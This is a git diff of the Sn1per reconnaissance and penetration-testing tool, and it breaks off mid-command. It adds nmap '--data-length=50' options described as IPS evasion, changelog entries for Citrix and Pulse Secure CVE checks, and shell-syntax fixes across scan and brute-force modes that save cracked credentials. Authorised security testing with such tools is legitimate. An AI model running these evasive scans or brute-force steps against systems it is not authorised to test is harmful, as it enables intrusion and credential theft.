diff --git a/CHANGELOG.md b/CHANGELOG.md index fafd0d7..03c6d26 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,13 @@ ## CHANGELOG: +* v8.1 - Added Citrix Gateway Arbitary Code Execution CVE-2019-19781 vulnerability detection +* v8.1 - Added Pulse Secure VPN Arbitrary File Disclosure CVE-2019-11510 exploit +* v8.1 - Added --data-length=50 for NMap IPS evasion +* v8.1 - Removed NMap vulscan script due to F+ results +* v8.1 - Fixed issue with CRT.SH sub-domain retrieval +* v8.1 - Fixed "[: ==: unary operator expected" in all code +* v8.1 - Updated web brute force wordlists +* v8.1 - Removed null and debug errors from passive spider API output +* v8.1 - Updated Commoncrawl index repo * v8.1 - Updated DockerFile repository * v8.1 - Fixed issue with -dh flag to delete host with Sn1per Pro v8.0 * v8.1 - Fixed issue with subfinder missing @@ -63,7 +72,7 @@ * v7.2 - Fixed issue with Censys API being enabled by default * v7.2 - Fixed verbose errors in subjack/subover tools * v7.2 - Fixed issue with NMap http scripts not working -* v7.1 - Added KeepBlue CVE-2019-0708 MSF scanner +* v7.1 - Added BlueKeep CVE-2019-0708 MSF scanner * v7.1 - Added automatic workspace generation for single target scans * v7.1 - Added new slack.sh API integration script * v7.1 - Added differential Slack notifications for new domains, new URL's and various scan outputs diff --git a/install.sh b/install.sh index 88da64c..fa111f1 100755 --- a/install.sh +++ b/install.sh @@ -25,7 +25,7 @@ PLUGINS_DIR=/usr/share/sniper/plugins GO_DIR=~/go/bin echo -e "$OKGREEN + -- --=[ This script will install sniper under $INSTALL_DIR. Are you sure you want to continue? (Hit Ctrl+C to exit)$RESET" -if [ "$1" != "force" ]; then +if [[ "$1" != "force" ]]; then read answer fi @@ -42,8 +42,8 @@ cd $INSTALL_DIR # CHECK FOR UBUNTU... UBUNTU_CHECK=$(egrep DISTRIB_ID /etc/lsb-release) -if [ $UBUNTU_CHECK == "DISTRIB_ID=Ubuntu" ]; then - if [ ! -f "/etc/apt/sources.list.bak" ]; then +if [[ $UBUNTU_CHECK == "DISTRIB_ID=Ubuntu" ]]; then + if [[ ! -f "/etc/apt/sources.list.bak" ]]; then cp /etc/apt/sources.list /etc/apt/sources.list.bak echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list echo "deb-src http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list @@ -124,7 +124,7 @@ cd dnsgen pip3 install -r requirements.txt python3 setup.py install cd .. -pip3 install webtech +pip install webtech mv $INSTALL_DIR/bin/slurp.zip $PLUGINS_DIR unzip slurp.zip rm -f slurp.zip diff --git a/install_debian_ubuntu.sh b/install_debian_ubuntu.sh index fe9e094..c8d2996 100644 --- a/install_debian_ubuntu.sh +++ b/install_debian_ubuntu.sh @@ -18,9 +18,10 @@ echo -e "$RESET" echo -e "$OKORANGE + -- --=[ https://xerosecurity.com$RESET" echo -e "$OKORANGE + -- --=[ Sn1per by @xer0dayz$RESET" echo "" -echo -e "$OKGREEN + -- --=[ This script will setup Ubuntu and Debian based OS's for the Sn1per installation. (Hit enter to continue): $RESET" +echo -e "$OKGREEN + -- --=[ This script will install Sn1per on Ubuntu and Debian based OS's. $RESET" +echo -e "$OKRED + -- --=[ NOTE: Installing Sn1per on Ubuntu or Debian based OS's requires adding Kali Linux repositories to yours apt sources list. This *may* cause system instability or compatibility issues! Be sure to backup your system prior to running this script in case you need to revert. (Hit Enter to continue) $RESET" read answer -if [ ! -f "/etc/apt/sources.list.bak" ]; then +if [[ ! -f "/etc/apt/sources.list.bak" ]]; then cp /etc/apt/sources.list /etc/apt/sources.list.bak echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list echo "deb-src http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list diff --git a/modes/airstrike.sh b/modes/airstrike.sh index 1d3a6c1..e6ae903 100644 --- a/modes/airstrike.sh +++ b/modes/airstrike.sh @@ -1,26 +1,26 @@ # AIRSTRIKE MODE ##################################################################################################### -if [ "$MODE" = "airstrike" ]; then - if [ -z "$FILE" ]; then +if [[ "$MODE" = "airstrike" ]]; then + if [[ -z "$FILE" ]]; then logo echo "You need to specify a list of targets (ie. -f ) to scan." exit fi - if [ "$REPORT" = "1" ]; then + if [[ "$REPORT" = "1" ]]; then for a in `cat $FILE`; do - if [ "$AUTOBRUTE" = "1" ]; then + if [[ "$AUTOBRUTE" = "1" ]]; then args="$args -b" fi - if [ "$FULLNMAPSCAN" = "1" ]; then + if [[ "$FULLNMAPSCAN" = "1" ]]; then args="$args -fp" fi - if [ "$OSINT" = "1" ]; then + if [[ "$OSINT" = "1" ]]; then args="$args -o" fi - if [ "$RECON" = "1" ]; then + if [[ "$RECON" = "1" ]]; then args="$args -re" fi - if [ ! -z "$WORKSPACE" ]; then + if [[ ! -z "$WORKSPACE" ]]; then args="$args -w $WORKSPACE" WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" @@ -58,10 +58,10 @@ if [ "$MODE" = "airstrike" ]; then echo -e "$OKRED | ||. | | | ||| |||||" echo -e "$OKRED __________________________________________________________" echo -e "$RESET" - if [ ! -z "$WORKSPACE_DIR" ]; then + if [[ ! -z "$WORKSPACE_DIR" ]]; then echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 @@ -73,10 +73,10 @@ if [ "$MODE" = "airstrike" ]; then args="" done fi - if [ "$LOOT" = "1" ]; then + if [[ "$LOOT" = "1" ]]; then loot fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi exit diff --git a/modes/bruteforce.sh b/modes/bruteforce.sh index 9690cc2..016bb80 100644 --- a/modes/bruteforce.sh +++ b/modes/bruteforce.sh @@ -1,4 +1,4 @@ -if [ "$AUTOBRUTE" = "0" ]; then +if [[ "$AUTOBRUTE" = "0" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SKIPPING BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -6,7 +6,7 @@ else echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per brute force: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi brutex $TARGET | tee $LOOT_DIR/credentials/brutex-$TARGET 2> /dev/null @@ -16,14 +16,14 @@ else rm -f hydra.restore rm -f scan.log CRACKED=$(egrep -h -i -s password $LOOT_DIR/credentials/brutex-$TARGET.txt 2> /dev/null | grep host 2> /dev/null) - if [ ${#CRACKED} -ge 5 ]; then + if [[ ${#CRACKED} -ge 5 ]]; then echo "$CRACKED" > $LOOT_DIR/output/cracked-$TARGET.txt 2> /dev/null fi echo "" - if [ "$SLACK_NOTIFICATIONS_BRUTEFORCE" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_BRUTEFORCE" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/credentials/brutex-$TARGET.txt" fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per brute force: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi fi \ No newline at end of file diff --git a/modes/discover.sh b/modes/discover.sh index 8518dc3..c44e8fc 100644 --- a/modes/discover.sh +++ b/modes/discover.sh @@ -1,7 +1,7 @@ # DISCOVER MODE ##################################################################################################### -if [ "$MODE" = "discover" ]; then - if [ "$REPORT" = "1" ]; then - if [ ! -z "$WORKSPACE" ]; then +if [[ "$MODE" = "discover" ]]; then + if [[ "$REPORT" = "1" ]]; then + if [[ ! -z "$WORKSPACE" ]]; then WORKSPACE="$(echo $WORKSPACE | tr / -)" args="$args -w $WORKSPACE" LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE @@ -18,7 +18,7 @@ if [ "$MODE" = "discover" ]; then OUT_FILE="$(echo $TARGET | tr / -)" echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$OUT_FILE-$MODE.txt 2> /dev/null - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi sniper -t $TARGET -m $MODE --noreport $args | tee $LOOT_DIR/output/sniper-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 @@ -48,12 +48,12 @@ if [ "$MODE" = "discover" ]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -v -p $QUICK_PORTS -sS $TARGET -Pn 2> /dev/null | tee $LOOT_DIR/ips/sniper-$OUT_FILE-tcp.txt 2>/dev/null + nmap -v -p $QUICK_PORTS --data-length=50 -sS $TARGET -Pn 2> /dev/null | grep "open port" | tee $LOOT_DIR/ips/sniper-$OUT_FILE-tcp.txt 2>/dev/null cat $LOOT_DIR/ips/sniper-$OUT_FILE-tcp.txt | grep open | grep on | awk '{print $6}' > $LOOT_DIR/ips/sniper-$OUT_FILE-tcpips.txt echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING UDP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -v -p $DEFAULT_UDP_PORTS -sU -Pn $TARGET 2> /dev/null | tee $LOOT_DIR/ips/sniper-$OUT_FILE-udp.txt 2>/dev/null + nmap -v -p $DEFAULT_UDP_PORTS --data-length=50 -sU -Pn $TARGET 2> /dev/null | grep "open port" | tee $LOOT_DIR/ips/sniper-$OUT_FILE-udp.txt 2>/dev/null cat $LOOT_DIR/ips/sniper-$OUT_FILE-udp.txt | grep open | grep on | awk '{print $6}' > $LOOT_DIR/ips/sniper-$OUT_FILE-udpips.txt echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED CURRENT TARGETS $RESET" @@ -67,7 +67,7 @@ if [ "$MODE" = "discover" ]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SCAN COMPLETE! $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi sniper -f $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt -m flyover -w $WORKSPACE diff --git a/modes/flyover.sh b/modes/flyover.sh index 7226cf5..c04fbeb 100644 --- a/modes/flyover.sh +++ b/modes/flyover.sh @@ -1,13 +1,13 @@ # FLYOVER MODE ###################################################################################################### -if [ "$MODE" = "flyover" ]; then - if [ -z "$FILE" ]; then +if [[ "$MODE" = "flyover" ]]; then + if [[ -z "$FILE" ]]; then logo echo "You need to specify a list of targets (ie. -f ) to scan." exit fi - if [ "$REPORT" = "1" ]; then - if [ ! -z "$WORKSPACE" ]; then + if [[ "$REPORT" = "1" ]]; then + if [[ ! -z "$WORKSPACE" ]]; then args="$args -w $WORKSPACE" WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" @@ -37,7 +37,7 @@ if [ "$MODE" = "flyover" ]; then echo -e "$RESET" echo "sniper -f $FILE -m $MODE --noreport $args" >> $LOOT_DIR/scans/$WORKSPACE-$MODE.txt sniper $args | tee $WORKSPACE_DIR/output/sniper-$WORKSPACE-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $FILE [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi args="" @@ -65,14 +65,14 @@ if [ "$MODE" = "flyover" ]; then webtech -u http://$TARGET 2> /dev/null | grep \- 2> /dev/null | cut -d- -f2- 2> /dev/null > $LOOT_DIR/web/webtech-$TARGET-http.txt 2> /dev/null & webtech -u https://$TARGET 2> /dev/null | grep \- 2> /dev/null | cut -d- -f2- 2> /dev/null > $LOOT_DIR/web/webtech-$TARGET-https.txt 2> /dev/null & - nmap -sS --open -Pn -p $DEFAULT_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null & + nmap -sS --open -Pn --data-length=50 -p $DEFAULT_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null & WEBHOST=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null | egrep "80|443" | grep open | wc -l 2> /dev/null) - if [ "$WEBHOST" -gt "0" ]; then + if [[ "$WEBHOST" -gt "0" ]]; then echo "$TARGET" >> $LOOT_DIR/web/webhosts-unsorted.txt 2> /dev/null fi cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" 2>/dev/null | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null & 2> /dev/null - if [ $CUTYCAPT = "1" ]; then - if [ $DISTRO == "blackarch" ]; then + if [[ $CUTYCAPT = "1" ]]; then + if [[ $DISTRO == "blackarch" ]]; then /bin/CutyCapt --url=http://$TARGET:80 --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null & /bin/CutyCapt --url=https://$TARGET:443 --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null & else @@ -80,7 +80,7 @@ if [ "$MODE" = "flyover" ]; then cutycapt --url=https://$TARGET:443 --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null > /dev/null & fi fi - if [ $WEBSCREENSHOT = "1" ]; then + if [[ $WEBSCREENSHOT = "1" ]]; then cd $LOOT_DIR python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium http://$TARGET:80 2> /dev/null > /dev/null & python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium https://$TARGET:443 2> /dev/null > /dev/null & @@ -88,7 +88,7 @@ if [ "$MODE" = "flyover" ]; then echo "$TARGET" >> $LOOT_DIR/scans/updated.txt echo "$TARGET" >> $LOOT_DIR/domains/targets-all-presorted.txt i=$((i+1)) - if [ "$i" -gt "$THREADS" ]; then + if [[ "$i" -gt "$THREADS" ]]; then i=1 sleep 15 fi @@ -100,7 +100,7 @@ if [ "$MODE" = "flyover" ]; then killall webtech 2> /dev/null for TARGET in `cat $LOOT_DIR/domains/targets-all-sorted.txt`; do HOST_UP=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2> /dev/null | grep "host up" 2> /dev/null) - if [ ${#HOST_UP} -ge 2 ]; then + if [[ ${#HOST_UP} -ge 2 ]]; then echo "$TARGET" >> $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null fi @@ -111,10 +111,10 @@ if [ "$MODE" = "flyover" ]; then done sort -u $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null echo -e "$OKRED=====================================================================================$RESET" - if [ "$LOOT" = "1" ]; then + if [[ "$LOOT" = "1" ]]; then loot fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $FILE [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi fi diff --git a/modes/fullportonly.sh b/modes/fullportonly.sh index 5904654..b933d6e 100644 --- a/modes/fullportonly.sh +++ b/modes/fullportonly.sh @@ -1,9 +1,9 @@ # FULLPORTONLY MODE -if [ "$MODE" = "fullportonly" ]; then +if [[ "$MODE" = "fullportonly" ]]; then - if [ "$REPORT" = "1" ]; then + if [[ "$REPORT" = "1" ]]; then args="-t $TARGET" - if [ ! -z "$WORKSPACE" ]; then + if [[ ! -z "$WORKSPACE" ]]; then args="$args -w $WORKSPACE" LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" @@ -25,15 +25,15 @@ if [ "$MODE" = "fullportonly" ]; then fi logo - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi echo "$TARGET" >> $LOOT_DIR/domains/targets.txt - if [ -z "$PORT" ]; then + if [[ -z "$PORT" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED PERFORMING TCP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -Pn -v -sV -A -O --script=/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -oX $LOOT_DIR/nmap/nmap-$TARGET-fullport.xml -p $FULL_PORTSCAN_PORTS $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET + nmap -Pn -v -sV -A -O --data-length=50 --script=/usr/share/nmap/scripts/vulners -oX $LOOT_DIR/nmap/nmap-$TARGET-fullport.xml -p $FULL_PORTSCAN_PORTS $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET cp -f $LOOT_DIR/nmap/nmap-$TARGET-fullport.xml $LOOT_DIR/nmap/nmap-$TARGET.xml 2> /dev/null sed -r "s/ /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null @@ -41,21 +41,21 @@ if [ "$MODE" = "fullportonly" ]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED PERFORMING UDP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -Pn -sU -sV -A -v --script=/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -oX $LOOT_DIR/nmap/nmap-$TARGET-fullport-udp.xml -p $DEFAULT_UDP_PORTS $TARGET + nmap -Pn -sU -sV -A -v --data-length=50 --script=/usr/share/nmap/scripts/vulners -oX $LOOT_DIR/nmap/nmap-$TARGET-fullport-udp.xml -p $DEFAULT_UDP_PORTS $TARGET sed -r "s/ /dev/null > $LOOT_DIR/nmap/nmap-$TARGET-udp.txt 2> /dev/null rm -f $LOOT_DIR/nmap/nmap-$TARGET-udp 2> /dev/null else echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED PERFORMING TCP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -Pn -v -sV -A -O --script=/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -p $PORT -oX $LOOT_DIR/nmap/nmap-$TARGET-tcp-port$PORT.xml $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET + nmap -Pn -v -sV -A -O --data-length=50 --script=/usr/share/nmap/scripts/vulners -p $PORT -oX $LOOT_DIR/nmap/nmap-$TARGET-tcp-port$PORT.xml $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET sed -r "s/ /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null xsltproc $INSTALL_DIR/bin/nmap-bootstrap.xsl $LOOT_DIR/nmap/nmap-$TARGET.xml -o $LOOT_DIR/nmap/nmapreport-$TARGET.html 2> /dev/null echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED PERFORMING UDP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -Pn -A -v -sV -sU --script=/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -p $PORT -Pn -oX $LOOT_DIR/nmap/nmap-$TARGET-udp-port$PORT.xml $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET-udp + nmap -Pn -A -v -sV -sU --data-length=50 --script=/usr/share/nmap/scripts/vulners -p $PORT -Pn -oX $LOOT_DIR/nmap/nmap-$TARGET-udp-port$PORT.xml $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET-udp sed -r "s/ /dev/null > $LOOT_DIR/nmap/nmap-$TARGET-udp.txt 2> /dev/null rm -f $LOOT_DIR/nmap/nmap-$TARGET-udp 2> /dev/null fi @@ -66,7 +66,7 @@ if [ "$MODE" = "fullportonly" ]; then mv $LOOT_DIR/scans/running-$TARGET-$MODE.txt $LOOT_DIR/scans/finished-$TARGET-$MODE.txt 2> /dev/null HOST_UP=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2> /dev/null | grep "host up" 2> /dev/null) - if [ ${#HOST_UP} -ge 2 ]; then + if [[ ${#HOST_UP} -ge 2 ]]; then echo "$TARGET" >> $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null fi sort -u $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null @@ -76,20 +76,20 @@ if [ "$MODE" = "fullportonly" ]; then echo "$PORT " >> $LOOT_DIR/nmap/ports-$TARGET.txt done - if [ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET.txt" /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET-udp.txt" fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi loot exit fi -if [ "$MODE" = "port" ]; then - if [ -z "$PORT" ]; then +if [[ "$MODE" = "port" ]]; then + if [[ -z "$PORT" ]]; then echo -e "$OKRED + -- --=[Error: You need to enter a port number. $RESET" exit fi diff --git a/modes/fullportscan.sh b/modes/fullportscan.sh index 3c949fd..71be25c 100644 --- a/modes/fullportscan.sh +++ b/modes/fullportscan.sh @@ -1,4 +1,4 @@ -if [ "$FULLNMAPSCAN" = "0" ]; then +if [[ "$FULLNMAPSCAN" = "0" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SKIPPING FULL NMAP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -6,25 +6,25 @@ else echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED PERFORMING TCP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per full portscan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi - nmap -Pn -v -sV -A -O --script=/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -oX $LOOT_DIR/nmap/nmap-$TARGET-fullport.xml -p $FULL_PORTSCAN_PORTS $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET + nmap -Pn -v -sV -A -O --data-length=50 --script=/usr/share/nmap/scripts/vulners -oX $LOOT_DIR/nmap/nmap-$TARGET-fullport.xml -p $FULL_PORTSCAN_PORTS $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET cp -f $LOOT_DIR/nmap/nmap-$TARGET-fullport.xml $LOOT_DIR/nmap/nmap-$TARGET.xml 2> /dev/null sed -r "s/ /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null xsltproc $INSTALL_DIR/bin/nmap-bootstrap.xsl $LOOT_DIR/nmap/nmap-$TARGET.xml -o $LOOT_DIR/nmap/nmapreport-$TARGET.html 2> /dev/null - if [ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET.txt" fi echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED PERFORMING UDP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -Pn -sU -sV -A -v --script=/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -p $DEFAULT_UDP_PORTS -oX $LOOT_DIR/nmap/nmap-$TARGET-fullport-udp.xml $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET-udp + nmap -Pn -sU -sV -A 